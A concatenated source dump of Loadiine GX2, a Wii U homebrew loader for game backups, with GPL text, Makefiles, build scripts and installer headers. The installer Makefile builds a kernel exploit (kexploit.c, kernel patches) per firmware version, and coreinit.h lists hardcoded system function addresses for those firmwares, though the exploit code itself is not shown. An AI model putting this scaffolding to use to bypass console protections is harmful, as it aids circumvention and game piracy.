13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
{one line to give the program's name and a brief idea of what it does.}
Copyright (C) {year} {name of author}
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
{project} Copyright (C) {year} {fullname}
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
.
================================================
FILE: Makefile
================================================
#---------------------------------------------------------------------------------
# Clear the implicit built in rules
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITPPC)),)
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=devkitPPC")
endif
ifeq ($(strip $(DEVKITPRO)),)
$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=devkitPRO")
endif
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
PREFIX := powerpc-eabi-
export AS := $(PREFIX)as
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := loadiine_gx2
BUILD := build
BUILD_DBG := $(TARGET)_dbg
SOURCES := src \
src/common \
src/dynamic_libs \
src/fs \
src/game \
src/gui \
src/kernel \
src/language \
src/loader \
src/menu \
src/network \
src/patcher \
src/resources \
src/settings \
src/sounds \
src/system \
src/utils \
src/video \
src/video/shaders \
src/controller_patcher \
src/controller_patcher/config \
src/controller_patcher/network \
src/controller_patcher/patcher \
src/controller_patcher/utils
DATA := data \
data/images \
data/fonts \
data/sounds
INCLUDES := src
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -D_GNU_SOURCE -Wno-strict-aliasing $(INCLUDE)
ASFLAGS := -mregnames
LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
#---------------------------------------------------------------------------------
Q := @
MAKEFLAGS += --no-print-directory
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project
#---------------------------------------------------------------------------------
LIBS := -lgcc -lgd -lpng -ljpeg -lz -lfreetype -lmad -lvorbisidec
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CURDIR) \
$(DEVKITPPC)/lib \
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export PROJECTDIR := $(CURDIR)
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
#---------------------------------------------------------------------------------
# automatically build a list of object files for our project
#---------------------------------------------------------------------------------
FILELIST := $(shell bash ./filelist.sh)
GIT_REV := $(shell bash ./gitrev.sh)
LANGUAGES := $(shell bash ./updatelang.sh)
export CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
export CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
export HFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.h)))
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
export LD := $(CC)
else
export LD := $(CXX)
endif
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
$(sFILES:.s=.o) $(SFILES:.S=.o) \
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
#---------------------------------------------------------------------------------
# build a list of include paths
#---------------------------------------------------------------------------------
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
#---------------------------------------------------------------------------------
# build a list of library paths
#---------------------------------------------------------------------------------
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
export OUTPUT := $(CURDIR)/$(TARGET)
.PHONY: $(BUILD) clean install lang
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
#---------------------------------------------------------------------------------
lang:
@[ -d build ] || mkdir -p build
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile translations
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT).elf: $(OFILES)
#---------------------------------------------------------------------------------
# Translation files
#---------------------------------------------------------------------------------
translations: $(wildcard $(PROJECTDIR)/languages/*.lang)
#---------------------------------------------------------------------------------
# This rule links in binary data with the .jpg extension
#---------------------------------------------------------------------------------
%.elf: link.ld $(OFILES)
@echo "linking ... $(TARGET).elf"
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
#---------------------------------------------------------------------------------
%.a:
#---------------------------------------------------------------------------------
@echo $(notdir $@)
@rm -f $@
@$(AR) -rc $@ $^
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.png.o : %.png
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.jpg.o : %.jpg
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.ttf.o : %.ttf
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.bin.o : %.bin
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.wav.o : %.wav
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.mp3.o : %.mp3
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.ogg.o : %.ogg
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
export PATH := $(PROJECTDIR)/gettext-bin:$(PATH)
%.pot: $(CFILES) $(CPPFILES) $(HFILES)
@echo Updating language files ...
@touch $(PROJECTDIR)/languages/$(TARGET).pot
@xgettext -C -cTRANSLATORS --from-code=utf-8 -F --no-wrap --add-location -ktr -ktrNOOP -o$(PROJECTDIR)/languages/$(TARGET).pot -p $@ $^
%.lang: $(PROJECTDIR)/languages/$(TARGET).pot
@msgmerge -U -N --no-wrap --no-location --backup=none -q $@ $<
@touch $@
#---------------------------------------------------------------------------------
-include $(DEPENDS)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------
================================================
FILE: Readme.md
================================================
# Loadiine GX2
[](https://travis-ci.org/dimok789/loadiine_gx2)
---
[Current Stable Release](https://github.com/dimok789/loadiine_gx2/releases/tag/v0.2) | [Nightly builds](https://github.com/dimok789/loadiine_gx2/releases) | [Issue Tracker](https://github.com/dimok789/loadiine_gx2/issues) | [Support Thread](https://gbatemp.net/threads/loadiine-gx2.413823/)
### What is Loadiine GX2? ###
Loadiine is a WiiU homebrew. It launches WiiU game backups from SD card.
Its Graphical User Interface is based on the WiiU GX2 graphics engine.
### How do I use this? ###
All information about how this works and what is required to do for it to work is written on the following [support thread](https://gbatemp.net/threads/loadiine-gx2.413823/).
### How to build? ###
#### Main Application ####
To build the main application devkitPPC is required as well as some additionally libraries. Download the libogc and portlibs packages from the release pages and put them in your devkitPro path. Replace any existing files. If not yet done export the path of devkitPPC and devkitPRO to the evironment variables DEVKITPRO and DEVKITPPC.
All remaining is to enter the main application path and enter "make". You should get a loadiine_gx2.elf and a loadiine_gx2_dbg.elf in the main path.
#### Installer Application ####
To compile the installer application enter the "installer" path on the source code and type "make".
### Credits ###
* Dimok
* Cyan
* Maschell
* n1ghty
* dibas
* The anonymous graphics dude (he knows who is ment)
* and several more contributers
---
================================================
FILE: filelist.sh
================================================
#! /bin/bash
#
# Automatic resource file list generation
# Created by Dimok
outFile="./src/resources/filelist.h"
count_old=$(cat $outFile 2>/dev/null | tr -d '\n\n' | sed 's/[^0-9]*\([0-9]*\).*/\1/')
count=0
if [[ $OSTYPE == darwin* ]];
then
for i in $(gfind ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f \( ! -printf "%f\n" \) | sort -f)
do
files[count]=$i
count=$((count+1))
done
else
for i in $(find ./data/images/ ./data/sounds/ ./data/fonts/ -maxdepth 1 -type f \( ! -printf "%f\n" \) | sort -f)
do
files[count]=$i
count=$((count+1))
done
fi
if [ "$count_old" != "$count" ] || [ ! -f $outFile ]
then
echo "Generating filelist.h for $count files." >&2
cat < $outFile
/****************************************************************************
* Loadiine resource files.
* This file is generated automatically.
* Includes $count files.
*
* NOTE:
* Any manual modification of this file will be overwriten by the generation.
****************************************************************************/
#ifndef _FILELIST_H_
#define _FILELIST_H_
#include
typedef struct _RecourceFile
{
const char *filename;
const u8 *DefaultFile;
const u32 &DefaultFileSize;
u8 *CustomFile;
u32 CustomFileSize;
} RecourceFile;
EOF
for i in ${files[@]}
do
filename=${i%.*}
extension=${i##*.}
echo 'extern const u8 '$filename'_'$extension'[];' >> $outFile
echo 'extern const u32 '$filename'_'$extension'_size;' >> $outFile
echo '' >> $outFile
done
echo 'static RecourceFile RecourceList[] =' >> $outFile
echo '{' >> $outFile
for i in ${files[@]}
do
filename=${i%.*}
extension=${i##*.}
echo -e '\t{"'$i'", '$filename'_'$extension', '$filename'_'$extension'_size, NULL, 0},' >> $outFile
done
echo -e '\t{NULL, NULL, 0, NULL, 0}' >> $outFile
echo '};' >> $outFile
echo '' >> $outFile
echo '#endif' >> $outFile
fi
================================================
FILE: gitrev.sh
================================================
#! /bin/bash
#
rev_new=$(git rev-parse --short=7 HEAD)
rev_old=$(cat ./src/gitrev.c 2>/dev/null | tr -d '\n' | awk -F"\"" '{print $2}' | awk -F"\"" '{print $1}')
if [ "$rev_new" != "$rev_old" ] || [ ! -f ./src/gitrev.c ]; then
if [ -n "$rev_new" ]; then
echo "Changed Rev $rev_old to $rev_new" >&2
fi
cat < ./src/gitrev.c
#define GIT_REV "$rev_new"
const char *GetRev()
{
return GIT_REV;
}
EOF
rev_date=`date -u +%Y%m%d%H%M%S`
cat < ./meta/meta.xml
Loadiine GX2
Dimok, Maschell, n1ghty, dibas
0.3 r$rev_new
$rev_date
WiiU game loader
Loads games from SD card.
Compatibility list:
http://wiki.gbatemp.net/wiki/Loadiine_compatibility_list
Sources:
https://github.com/dimok789/loadiine_gx2
EOF
fi
echo $rev_new
================================================
FILE: installer/Makefile
================================================
PATH := $(DEVKITPPC)/bin:$(PATH)
PREFIX ?= powerpc-eabi-
CC = $(PREFIX)gcc
AS = $(PREFIX)gcc
CFLAGS = -std=gnu99 -Os -nostdinc -fno-builtin
ASFLAGS = -mregnames -x assembler-with-cpp
LD = $(PREFIX)ld
LDFLAGS=-Ttext 1800000 --oformat binary -L$(DEVKITPPC)/lib/gcc/powerpc-eabi/6.3.0 -lgcc
OBJDUMP ?= $(PREFIX)objdump
project := .
root := $(CURDIR)
build := $(root)/bin
sd_loader_elf := ../sd_loader/sd_loader.elf
CFLAGS += -DUSE_SD_LOADER
ASFLAGS += -DUSE_SD_LOADER
all: clean setup main532 main550 main500 main410 main400 main310 main300
sd_loader.h: $(sd_loader_elf)
xxd -i $< | sed "s/unsigned/static const unsigned/g;s/loader/loader/g;s/build_//g" > $@
$(sd_loader_elf):
make -C ../sd_loader
setup:
mkdir -p $(root)/bin/
main550:
make main FIRMWARE=550
main540:
make main FIRMWARE=532
main532:
make main FIRMWARE=532
main500:
make main FIRMWARE=500
main410:
make main FIRMWARE=410
main400:
make main FIRMWARE=400
main310:
make main FIRMWARE=310
main300:
make main FIRMWARE=300
main210:
make main FIRMWARE=210
main200:
make main FIRMWARE=200
main: sd_loader.h
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/launcher.c
$(CC) $(CFLAGS) -DVER=$(FIRMWARE) -c $(project)/kexploit.c
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/kernel_patches.S
$(AS) $(ASFLAGS) -DVER=$(FIRMWARE) -c $(project)/crt0.S
cp -r $(root)/*.o $(build)
rm $(root)/*.o
$(LD) -s -o $(build)/code$(FIRMWARE).bin $(build)/crt0.o `find $(build) -name "*.o" ! -name "crt0.o"` $(LDFLAGS)
clean:
rm -rf $(build)
rm -rf sd_loader.h
print_stats:
@echo
@echo "code size : loadiine =>" `$(OBJDUMP) -h ../loadiine.elf | awk '/.kernel_code|.text|.menu_magic|.loader_magic|.fs_method_calls|.rodata|.data|.sdata|.bss|.sbss|.fs_magic/ { sum+=strtonum("0x"$$3) } END {print sum}'` / 7530312
================================================
FILE: installer/coreinit.h
================================================
#ifndef COREINIT_H
#define COREINIT_H
#include "types.h"
#if (VER==200)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x010220AC)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01022D98)
#define OSFatal ((void (*)(char* msg))0x01027688)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01025FB4)
#elif (VER==210)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102232C)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023018)
#define OSFatal ((void (*)(char* msg))0x01027908)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01026014)
#elif (VER==300) | (VER==310)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01022CBC)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01023D88)
#define OSFatal ((void (*)(char* msg))0x01028A68)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x01027390)
#elif (VER==400) | (VER==410)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01026e60)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x01028460)
#define OSFatal ((void (*)(char* msg))0x0102D01C)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102b9ac)
#elif VER==500
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x01029CD8)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B3E4)
#define OSFatal ((void (*)(char* msg))0x01030ECC)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102ECE0)
#elif (VER==532) | (VER==540)
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x102a31c)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x102b790)
#define OSFatal ((void (*)(char* msg))0x1031368)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x102f09c)
#elif VER==550
#define OSDynLoad_Acquire ((void (*)(char* rpl, unsigned int *handle))0x0102A3B4)
#define OSDynLoad_FindExport ((void (*)(unsigned int handle, int isdata, char *symbol, void *address))0x0102B828)
#define OSFatal ((void (*)(char* msg))0x01031618)
#define __os_snprintf ((int(*)(char* s, int n, const char * format, ... ))0x0102F160)
#else
#error "Unsupported Wii U software version"
#endif
/* ioctlv() I/O vector */
struct iovec
{
void *buffer;
int len;
char unknown8[0xc-0x8];
};
typedef struct OSContext
{
/* OSContext identifier */
uint32_t tag1;
uint32_t tag2;
/* GPRs */
uint32_t gpr[32];
/* Special registers */
uint32_t cr;
uint32_t lr;
uint32_t ctr;
uint32_t xer;
/* Initial PC and MSR */
uint32_t srr0;
uint32_t srr1;
} OSContext;
#endif /* COREINIT_H */
================================================
FILE: installer/crt0.S
================================================
.extern __main
.globl _start
_start:
# load proper stack
lis r1, 0x1ab5
ori r1, r1, 0xd138
# jump to our main
bl __main
================================================
FILE: installer/elf_abi.h
================================================
/*
* Copyright (c) 1995, 1996, 2001, 2002
* Erik Theisen. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This is the ELF ABI header file
* formerly known as "elf_abi.h".
*/
#ifndef _ELF_ABI_H
#define _ELF_ABI_H
/*
* This version doesn't work for 64-bit ABIs - Erik.
*/
/*
* These typedefs need to be handled better.
*/
typedef unsigned int Elf32_Addr; /* Unsigned program address */
typedef unsigned int Elf32_Off; /* Unsigned file offset */
typedef signed int Elf32_Sword; /* Signed large integer */
typedef unsigned int Elf32_Word; /* Unsigned large integer */
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
/* e_ident[] identification indexes */
#define EI_MAG0 0 /* file ID */
#define EI_MAG1 1 /* file ID */
#define EI_MAG2 2 /* file ID */
#define EI_MAG3 3 /* file ID */
#define EI_CLASS 4 /* file class */
#define EI_DATA 5 /* data encoding */
#define EI_VERSION 6 /* ELF header version */
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
#define EI_ABIVERSION 8 /* ABI target version */
#define EI_PAD 9 /* start of pad bytes */
#define EI_NIDENT 16 /* Size of e_ident[] */
/* e_ident[] magic number */
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
#define ELFMAG "\177ELF" /* magic */
#define SELFMAG 4 /* size of magic */
/* e_ident[] file class */
#define ELFCLASSNONE 0 /* invalid */
#define ELFCLASsigned int 1 /* 32-bit objs */
#define ELFCLASS64 2 /* 64-bit objs */
#define ELFCLASSNUM 3 /* number of classes */
/* e_ident[] data encoding */
#define ELFDATANONE 0 /* invalid */
#define ELFDATA2LSB 1 /* Little-Endian */
#define ELFDATA2MSB 2 /* Big-Endian */
#define ELFDATANUM 3 /* number of data encode defines */
/* e_ident[] OS/ABI specific ELF extensions */
#define ELFOSABI_NONE 0 /* No extension specified */
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
#define ELFOSABI_NETBSD 2 /* NetBSD */
#define ELFOSABI_LINUX 3 /* Linux */
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
#define ELFOSABI_AIX 7 /* AIX */
#define ELFOSABI_IRIX 8 /* IRIX */
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
/* 64-255 Architecture-specific value range */
/* e_ident[] ABI Version */
#define ELFABIVERSION 0
/* e_ident */
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
/* ELF Header */
typedef struct elfhdr{
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
Elf32_Half e_type; /* object file type */
Elf32_Half e_machine; /* machine */
Elf32_Word e_version; /* object file version */
Elf32_Addr e_entry; /* virtual entry point */
Elf32_Off e_phoff; /* program header table offset */
Elf32_Off e_shoff; /* section header table offset */
Elf32_Word e_flags; /* processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size */
Elf32_Half e_phentsize; /* program header entry size */
Elf32_Half e_phnum; /* number of program header entries */
Elf32_Half e_shentsize; /* section header entry size */
Elf32_Half e_shnum; /* number of section header entries */
Elf32_Half e_shstrndx; /* section header table's "section
header string table" entry offset */
} Elf32_Ehdr;
/* e_type */
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* relocatable file */
#define ET_EXEC 2 /* executable file */
#define ET_DYN 3 /* shared object file */
#define ET_CORE 4 /* core file */
#define ET_NUM 5 /* number of types */
#define ET_LOOS 0xfe00 /* reserved range for operating */
#define ET_HIOS 0xfeff /* system specific e_type */
#define ET_LOPROC 0xff00 /* reserved range for processor */
#define ET_HIPROC 0xffff /* specific e_type */
/* e_machine */
#define EM_NONE 0 /* No Machine */
#define EM_M32 1 /* AT&T WE 32100 */
#define EM_SPARC 2 /* SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_68K 4 /* Motorola 68000 */
#define EM_88K 5 /* Motorola 88000 */
#if 0
#define EM_486 6 /* RESERVED - was Intel 80486 */
#endif
#define EM_860 7 /* Intel 80860 */
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
#define EM_S370 9 /* IBM System/370 Processor */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
#if 0
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
64-bit unoffical */
#endif
/* RESERVED 11-14 for future use */
#define EM_PARISC 15 /* HPPA */
/* RESERVED 16 for future use */
#define EM_VPP500 17 /* Fujitsu VPP500 */
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
#define EM_960 19 /* Intel 80960 */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* 64-bit PowerPC */
#define EM_S390 22 /* IBM System/390 Processor */
/* RESERVED 23-35 for future use */
#define EM_V800 36 /* NEC V800 */
#define EM_FR20 37 /* Fujitsu FR20 */
#define EM_RH32 38 /* TRW RH-32 */
#define EM_RCE 39 /* Motorola RCE */
#define EM_ARM 40 /* Advanced Risc Machines ARM */
#define EM_ALPHA 41 /* Digital Alpha */
#define EM_SH 42 /* Hitachi SH */
#define EM_SPARCV9 43 /* SPARC Version 9 */
